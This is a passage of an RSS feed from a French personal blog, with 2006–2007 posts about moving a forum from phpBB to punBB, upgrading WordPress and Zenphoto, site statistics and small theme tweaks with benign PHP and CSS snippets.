            <pubDate>Mon, 26 Mar 2007 20:06:13 +0000</pubDate>
            <guid>https://pled.fr/forum-punbb/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;punbb.jpg&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;punbb.jpg#floatleft&#34;&gt; Mise à jour du forum ! Plus qu&amp;rsquo;une mise à jour d&amp;rsquo;ailleurs, puisque l&amp;rsquo;on passe de &lt;strong&gt;phpBB&lt;/strong&gt; à &lt;strong&gt;punBB&lt;/strong&gt;. Vous vous rendez compte ?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;punBB&lt;/strong&gt; est plus léger, plus rapide, mais possède par contre moins de fonctionnailtés. Les pages générées sont plus petites, et valides W3C XHTML. Graphiquement, il est aussi nettement plus agréable que l&amp;rsquo;ancien.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai pu sans problème importer les messages existant sur l&amp;rsquo;ancien forum. Il n&amp;rsquo;y a par contre plus la possibilité de faire des sondages comme le permettait phpBB. Mais je devrais pouvoir trouver une extension (mod) le permettant.&lt;/p&gt;&#xA;&lt;p&gt;Installation:&lt;/p&gt;&#xA;&lt;p&gt;L&amp;rsquo;installation de punBB est vraiment simplissime. Télécharger l&amp;rsquo;archive sur &lt;a class=&#34;link&#34; href=&#34;http://www.punbb.fr/index.php&#34;  title=&#34;punBB français&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;punBB.fr&lt;/a&gt;. Copier via ftp le contenu du répertoire &amp;ldquo;upload&amp;rdquo; sur votre serveur, par exemple dans un répertoire appelé &amp;ldquo;forum&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Créer votre base de données SQL si ce n&amp;rsquo;est déjà fait.&lt;/p&gt;&#xA;&lt;p&gt;Exécuter http://votre-serveur/forum/install.php, et renseigner les quelques cases (nom de la base, utilisateur, mot de passe, etc..).&lt;/p&gt;&#xA;&lt;p&gt;Un fichier php est généré: il faut l&amp;rsquo;enregistrer à la racine de votre forum sous le nom de config.php.&lt;/p&gt;&#xA;&lt;p&gt;Et voilà, c&amp;rsquo;est installé. Il ne reste plus qu&amp;rsquo;à vous rendre dans l&amp;rsquo;administration pour régler les derniers détails.&lt;/p&gt;&#xA;&lt;p&gt;Importation de phpBB:&lt;/p&gt;&#xA;&lt;p&gt;Il faut récupérer le mod PunBB Migration Tool de cette &lt;a class=&#34;link&#34; href=&#34;http://www.punbb.org/downloads.php&#34;  title=&#34;Migration tool&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;page&lt;/a&gt;. Copier le contenu du dossier converters sur le serveur, à la racine du forum, dans un dossier nommé converter par exemple.&lt;/p&gt;&#xA;&lt;p&gt;Exécuter http://votre-serveur/forum/converter/index.php.&lt;/p&gt;&#xA;&lt;p&gt;Remplir les cases: indiquer le type de forum à importer (phpBB dans mon cas), le nom de la base, le préfixe, utilisateur, mot de passe, etc&amp;hellip; Et exécuter. Les données sont importées de votre ancien forum (forums, sujets, utilisateurs).&lt;/p&gt;&#xA;&lt;p&gt;Attention ce n&amp;rsquo;est pas fini, comme je l&amp;rsquo;ai cru tout d&amp;rsquo;abord. A ce stade, vous pouvez accéder au forum (http://votre-serveur/forum), mais impossible d&amp;rsquo;accéder au panneau d&amp;rsquo;administration.&lt;/p&gt;&#xA;&lt;p&gt;Sur la page du converter, il vous faut maintenant ajouter le nom de l&amp;rsquo;utilisateur qui aura les droits d&amp;rsquo;administration.&lt;/p&gt;&#xA;&lt;p&gt;Enfin, il faudra allez dans le panneau d&amp;rsquo;admin, Maintenance, et reconstruire les index.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Citations de Lao-Tseu</title>
            <link>https://pled.fr/citations-de-lao-tseu/</link>
            <pubDate>Sat, 24 Mar 2007 10:37:41 +0000</pubDate>
            <guid>https://pled.fr/citations-de-lao-tseu/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;laotseu.png&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;laotseu.png#floatleft&#34;&gt; Du nouveau côté citation du jour (Quote of the day): j&amp;rsquo;ai ajouté quelques citations de Lao-Tseu.&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est en lisant un article du Canard, qui reprenait une de ses citations (mais en est-ce vraiment une ?):&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Qui ne pête ni ne rote est voué à l&amp;rsquo;explosion&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;J&amp;rsquo;en ai trouvé une petite liste sur le net (un peu plus sérieuses celles-là, plus proches de ce que à quoi l&amp;rsquo;on attend de ce personnage mythique de la Chine ancienne !). Et puis ce très beau dessin sur Wikipédia. I lne me restait plus qu&amp;rsquo;à les ajouter dans la base de ce petit plugin très bien foutu: UtterQuotes.&lt;/p&gt;&#xA;&lt;p&gt;Enjoy ! Elles apparaîtront de manière aléatoire, comme celles des Simpsons ou de Bush.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Wordpress 2.1</title>
            <link>https://pled.fr/wordpress-21/</link>
            <pubDate>Sat, 10 Feb 2007 15:38:03 +0000</pubDate>
            <guid>https://pled.fr/wordpress-21/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2007/02/wordpress.png&#34;  title=&#34;wordpress&#34;&#xA;    &gt;&lt;img alt=&#34;wordpress&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1042px&#34; data-flex-grow=&#34;434&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/wordpress-21/wordpress.png&#34; width=&#34;491&#34;&gt;&lt;/a&gt; Mise à jour du blog, c&amp;rsquo;est-à-dire de Wordpress à la version 2.1. Les améliorations concernent essentiellement l&amp;rsquo;administration du blog. Côté utilisation, vous ne devriez pas remarquer grand chose&amp;hellip; si ce n&amp;rsquo;est des erreurs ! si c&amp;rsquo;est le cas, merci de me prévenir&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Les étapes de la mise à jour:&lt;/p&gt;&#xA;&lt;p&gt;Mise à jour WordPress 2.0.X à WordPress 2.1 !&lt;/p&gt;&#xA;&lt;p&gt;1. Faites une sauvegarde de votre base de données. (avec l’aide de phpMyAdmin ou le plugin “WordPress Database Backup” livré par défaut avec WordPress 2.0.x)&#xA;2. Désactivez tous les plugins&#xA;3. Lancez votre client FTP favori&#xA;4. Effacez le dossier /wp-admin/&#xA;5. Effacez le dossier /wp-includes/&#xA;6. Effacez tous les fichiers se trouvant à la racine de votre blog. NE PAS EFFACER wp-config.php.&#xA;7. Télécharger et extraire la nouvelle version de WordPress.&#xA;8. Envoyer ensuite tous les dossiers et fichiers sur votre serveur FTP.&#xA;9. Connectez-vous ensuite sur votre console d’administration, et suivez le guide de mise à jour. (1 étape…)&#xA;10. C’est fini…&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Statistiques d&#39;accès au site 2006</title>
            <link>https://pled.fr/statistiques-dacces-au-site-2006/</link>
            <pubDate>Sat, 06 Jan 2007 18:33:54 +0000</pubDate>
            <guid>https://pled.fr/statistiques-dacces-au-site-2006/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;http://pascal.ledisque.free.fr/stats/2006/index.htm&#34;  title=&#34;statistiques par pays décembre 2006&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;img alt=&#34;statistiques par pays décembre 2006&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;414px&#34; data-flex-grow=&#34;172&#34; height=&#34;295&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-dacces-au-site-2006/pays2006.jpg&#34; width=&#34;510&#34;&gt;&lt;/a&gt; Les statistiques d&amp;rsquo;accès au site pour l&amp;rsquo;année 2006 sont disponibles.&lt;/p&gt;&#xA;&lt;p&gt;A noter une forte augmentation des visites, probablement lié au blog et à l&amp;rsquo;indexation dans les moteurs de recherche (ce qui n&amp;rsquo;était pas le cas auparavant, quand seul le site &amp;ldquo;statique&amp;rdquo; existait).&lt;/p&gt;&#xA;&lt;p&gt;Le classement par pays montre une récente augmentation de visiteurs des Etats-Unis:octobre (8%), novembre (14%) et décembre (18%). C&amp;rsquo;est inquiétant, je ne vous le cache pas. Et si j&amp;rsquo;écrivais en gallo (private joke) ?&lt;/p&gt;&#xA;&lt;p&gt;Et puis ajout d&amp;rsquo;une nouvelle statistique: &lt;strong&gt;Le top 20 des mots-clés&lt;/strong&gt;. Sachez que pour le mois de décembre, c&amp;rsquo;est le mot &lt;em&gt;gaffophone&lt;/em&gt; qui détient à lui seul 13,92% des requêtes ! Pas mal, non ?&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Bonne année 2007 !!</title>
            <link>https://pled.fr/bonne-annee-2007/</link>
            <pubDate>Fri, 05 Jan 2007 18:00:35 +0000</pubDate>
            <guid>https://pled.fr/bonne-annee-2007/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;happy new year&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;happynewyear.jpg#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;bonne-annee-a-toutes-et-a-tous-&#34;&gt;BONNE ANNEE A TOUTES ET A TOUS !!!!&#xA;&lt;/h2&gt;&lt;p&gt;C&amp;rsquo;est la carte que les collègues de Bangkok m&amp;rsquo;ont envoyé, je l&amp;rsquo;ai reçue ce matin&amp;hellip; Je me demande s&amp;rsquo;ils ne l&amp;rsquo;ont pas choisie pour les cheveux du personnage ! mais ça fait très plaisir, ils sont vraiment très sympas !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Album Photo en travaux</title>
            <link>https://pled.fr/album-photo-en-travaux/</link>
            <pubDate>Sun, 24 Dec 2006 22:07:17 +0000</pubDate>
            <guid>https://pled.fr/album-photo-en-travaux/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;zenphoto.gif&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;zenphoto.gif#floatleft&#34;&gt; Je viens de passer Zenphoto à la &lt;strong&gt;version 1.0.6&lt;/strong&gt;, qui va permettre de gérer les &lt;strong&gt;sous-albums&lt;/strong&gt;. Cela m&amp;rsquo;obligera à changer de thème, c&amp;rsquo;était prévu. Videz votre cache internet si vous constatez quelques problèmes d&amp;rsquo;affichage (Prev/Next) par exemple. Sinon, tout est en anglais, il me faudra également franciser cette version.&#xA;Tout rentrera dans l&amp;rsquo;ordre une fois les sous-albums créés, et le nouveau thème adapté au site.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Zenphoto et les sous albums</title>
            <link>https://pled.fr/zenphoto-et-les-sous-albums/</link>
            <pubDate>Fri, 08 Dec 2006 20:44:51 +0000</pubDate>
            <guid>https://pled.fr/zenphoto-et-les-sous-albums/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;logo zenphoto&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;zenphoto.gif#floatleft&#34;&gt; La nouvelle version 1.0.4 de Zenphoto (l&amp;rsquo;album photo que j&amp;rsquo;utilise), supportant la gestion des sous-albums, après 6 mois d&amp;rsquo;attente, est enfin disponible ! Champagne !! C&amp;rsquo;est un premier pas vers une future version 1.1, mais avec des nombreuses améliorations selon le développeur. Voilà comment il présente cette nouvelle version :&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;After over six months, I finally got it together enough to release the next minor version, 1.0.4. This release is a lot bigger than +0.0.1 gives it credit for though &amp;ndash; it includes exponential performance improvements from 1.0.3, a completely restructured database storage model, many tweaks and bugfixes, and more, making it the most stable and clean release to date. A lot of work went into this (as you might expect from a six month wait) and it should be a perfect stepping stone to sub-albums and further improvements in 1.1.&lt;/p&gt;&#xA;&lt;p&gt;The other big change is sort of secretly included in this release, and it is the backend infrastructure for sub-albums. There is too much yet to be done for an actual release touting that feature, but most of the code is there already. You can try it out with the sub-albums development testing theme, which you can download here if you want. NOTE that most features are missing and all you can expect is to browse sub-folders using the theme. There is no appropriate administrator interface, sorting, paging, or anything else you might expect. No guarantees about anything if you actually want to use it ;-)&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Cela implique 2 choses: je vais enfin pouvoir classer les albums par rubrique, comme sur le site d&amp;rsquo;origine (des sous-menus). Et je vais devoir changer de thème, car cette nouvelle fonctionnalité requiert des thèmes nouveaux. Finalement, ça ne tombe pas mal, j&amp;rsquo;y pensais après avoir en avoir vu d&amp;rsquo;autres.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Précision&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;en profite pour apporter une précision concernant la taille des images: depuis 2 albums, elles sont 800x600, mais sont toujours affichées au même format quand on parcoure l&amp;rsquo;album (soit une largeur de 595). Ce n&amp;rsquo;est qu&amp;rsquo;en cliquant sur l&amp;rsquo;image que vous obtenez la vue en 800x600.&lt;/p&gt;&#xA;&lt;p&gt;Pourquoi ? d&amp;rsquo;abord pour que l&amp;rsquo;affichage du menu et de la photo , voir du premier commentaire ne prennent pas trop de hauteur. Ensuite, si j&amp;rsquo;agrandis cette taille au delà de 640x480 (taille des premières photos, elles seront légèrement étirées..&lt;/p&gt;&#xA;&lt;p&gt;Il faudrait donc trouver un nouveau thème, et positionner le menu à gauche, afin de gagner de la hauteur pour l&amp;rsquo;affichage de la photo en parcourant l&amp;rsquo;album. Enfin, laisser les photos à une taille plus importante, puisque:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;le stockage est de 100Go sur Free,&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;nous disposons tous d&amp;rsquo;une ligne haut débit.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Du boulot en perspective, quoi !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Modifications sur les Liens du blog</title>
            <link>https://pled.fr/modifications-sur-les-liens-du-blog/</link>
            <pubDate>Sun, 29 Oct 2006 14:50:51 +0000</pubDate>
            <guid>https://pled.fr/modifications-sur-les-liens-du-blog/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;links.png&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;links.png#floatleft&#34;&gt; Petit changement sur les liens, afin d&amp;rsquo;avoir un petit commentaire qui s&amp;rsquo;affiche au passage de la souris&amp;hellip; sympa, non ? Enfin petit changement&amp;hellip; Ce ne fut pas aussi simple:&lt;/p&gt;&#xA;&lt;p&gt;Wordpress ne prévoit pas cela dans les options, j&amp;rsquo;ai donc &lt;a class=&#34;link&#34; href=&#34;http://www.wordpress-fr.net/support/viewtopic.php?pid=18378#p18378&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;posé la question&lt;/a&gt; sur le forum français de Wordpress. Et 2 jours plus tard j&amp;rsquo;avais la réponse. Restait à la mettre en place, cela m&amp;rsquo;avait l&amp;rsquo;air plus compliqué que prévu, mais en fait tout s&amp;rsquo;est passé comme une fleur.&#xA;Et cela marche même avec MSIE, grâce à une astuce déjà mise en place sur le site.&lt;/p&gt;&#xA;&lt;p&gt;Cet article me permet en fait de sauvegarder l&amp;rsquo;information sur le blog et de pouvoir suivre ainsi les modifications faites sur le site.&lt;/p&gt;&#xA;&lt;p&gt;Voilà les modifs à faire&lt;/p&gt;&#xA;&lt;p&gt;Dans fichier &lt;strong&gt;sidebar.php&lt;/strong&gt; (du thème), j&amp;rsquo;ajoute une nouvelle section:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;h2&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;Liens&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;h2&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;ul&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_linksbyname&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;lt;dt&amp;gt;&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;lt;/dd&amp;gt;&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;lt;/dt&amp;gt;&amp;lt;dd&amp;gt;&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;TRUE&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;rating&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;TRUE&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;FALSE&lt;/span&gt;, &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;FALSE&lt;/span&gt;); &lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;/dd&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;/ul&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;[/php]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Dans le fichier &lt;strong&gt;index.php&lt;/strong&gt; (du thème), je supprime l&amp;rsquo;ancien appel aux &amp;ldquo;links&amp;rdquo;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;h2&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&amp;lt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;_e&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;Links&amp;#39;&lt;/span&gt;); &lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;/h2&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;ul&amp;gt;&amp;lt;?php get_links(&amp;#39;-1&amp;#39;, &amp;#39;&amp;lt;li&amp;gt;&amp;#39;, &amp;#39;&amp;lt;/li&amp;gt;&amp;#39;, &amp;#39; &amp;#39;); ?&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;[/php]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La partie &amp;ldquo;Liens&amp;rdquo; est donc maintenant appelée par le fichier sidebar.php, et non plus par le fichier index.php, ce qui plus logique à mon avis.&lt;/p&gt;&#xA;&lt;p&gt;Et dans le fichier &lt;strong&gt;style.css&lt;/strong&gt;, je cache l&amp;rsquo;attribut &lt;em&gt;dd&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-css&#34; data-lang=&#34;css&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;css&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;dd&lt;/span&gt; {&lt;span style=&#34;color:#66d9ef&#34;&gt;display&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;none&lt;/span&gt;;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[/&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;css&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Voilà, j&amp;rsquo;ai du également me pencher sur le fait d&amp;rsquo;afficher des lignes de code dans un article: veiller d&amp;rsquo;abord à ce qu&amp;rsquo;il ne s&amp;rsquo;exécute pas (c&amp;rsquo;est bête, hein ?), et l&amp;rsquo;identifier ensuite dans l&amp;rsquo;article (police, couleur) .&lt;/p&gt;&#xA;&lt;p&gt;La description du tag get_linksbyname est sur le &lt;a class=&#34;link&#34; href=&#34;http://codex.wordpress.org/Template_Tags/get_linksbyname&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Wiki Wordpress&lt;/a&gt;.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Quote of the day</title>
            <link>https://pled.fr/quote-of-the-day/</link>
            <pubDate>Sun, 27 Aug 2006 10:57:34 +0000</pubDate>
            <guid>https://pled.fr/quote-of-the-day/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;Bush.jpg&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;Bush.jpg#floatleft&#34;&gt; Changement pour la citation du jour&amp;hellip; le &lt;strong&gt;&lt;em&gt;Simpson Quote&lt;/em&gt;&lt;/strong&gt; devient &lt;em&gt;&lt;strong&gt;Quote of the day&lt;/strong&gt;&lt;/em&gt; (la citation du jour). Le plugin permet d&amp;rsquo;insérer plusieurs jeux de citations, et fournit une liste de citations de Georges W. Bush, mais il manquait l&amp;rsquo;image&amp;hellip; et c&amp;rsquo;est un peu triste sans image.&lt;/p&gt;&#xA;&lt;p&gt;Je suis parti d&amp;rsquo;un dessin dans le Carnard de cette semaine (dernière page pour ceux qui l&amp;rsquo;ont !), je l&amp;rsquo;ai scanné, extrait Bush, puis retravaillé et colorié le dessin sous The Gimp, l&amp;rsquo;application de retouche d&amp;rsquo;images gratuit.&lt;/p&gt;&#xA;&lt;p&gt;Et voilà ce que cela donne.. Pour la qualité des citations, je ne sais pas trop encore&amp;hellip; On verra à l&amp;rsquo;usage ! Toujours un moyen de se perfectionner en anglais, quoiqu&amp;rsquo;il en soit !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Ménage dans les vidéos</title>
            <link>https://pled.fr/menage-dans-les-videos/</link>
            <pubDate>Mon, 21 Aug 2006 18:00:23 +0000</pubDate>
            <guid>https://pled.fr/menage-dans-les-videos/</guid>
            <description>&lt;p&gt;Je fais du ménage sur les vidéos que j&amp;rsquo;avais inséré dans le blog.&lt;/p&gt;&#xA;&lt;p&gt;Celles qui provenaient du site &lt;a class=&#34;link&#34; href=&#34;http://www.dailymotion.com/&#34;  title=&#34;DailyMotion&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;DailyMotion&lt;/a&gt; avaient déjà un désavantage, celui de ne pas afficher d&amp;rsquo;image au chargement de la page, perdant ainsi beaucoup en présentation.&lt;/p&gt;&#xA;&lt;p&gt;Mais ce n&amp;rsquo;est pas tout: les liens fonctionnent quelques jours, puis sont modifiés, rendant impossible l&amp;rsquo;intégration des vidéos dans le blog.&lt;/p&gt;&#xA;&lt;p&gt;Je supprime donc les vidéos, voir les articles; Quand ils valent quand même le détour, comme le palais des sports de Puteaux, je conserve l&amp;rsquo;article et vous renvoie vers les &amp;ldquo;permalinks&amp;rdquo; de DailyMotion (en espérant qu&amp;rsquo;ils soient vraiment permanents !!).&lt;/p&gt;&#xA;&lt;p&gt;Finalement, je conserve celles de &lt;a class=&#34;link&#34; href=&#34;http://video.google.fr/&#34;  title=&#34;Google Video&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Google Video&lt;/a&gt;: le lien ne bouge pas, et elles affichent une image. Pour une fois que je dis du bien de Google&amp;hellip;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Zenphoto en v1.0.3b et 10 Go d&#39;espace web chez Free</title>
            <link>https://pled.fr/172/</link>
            <pubDate>Tue, 27 Jun 2006 17:04:12 +0000</pubDate>
            <guid>https://pled.fr/172/</guid>
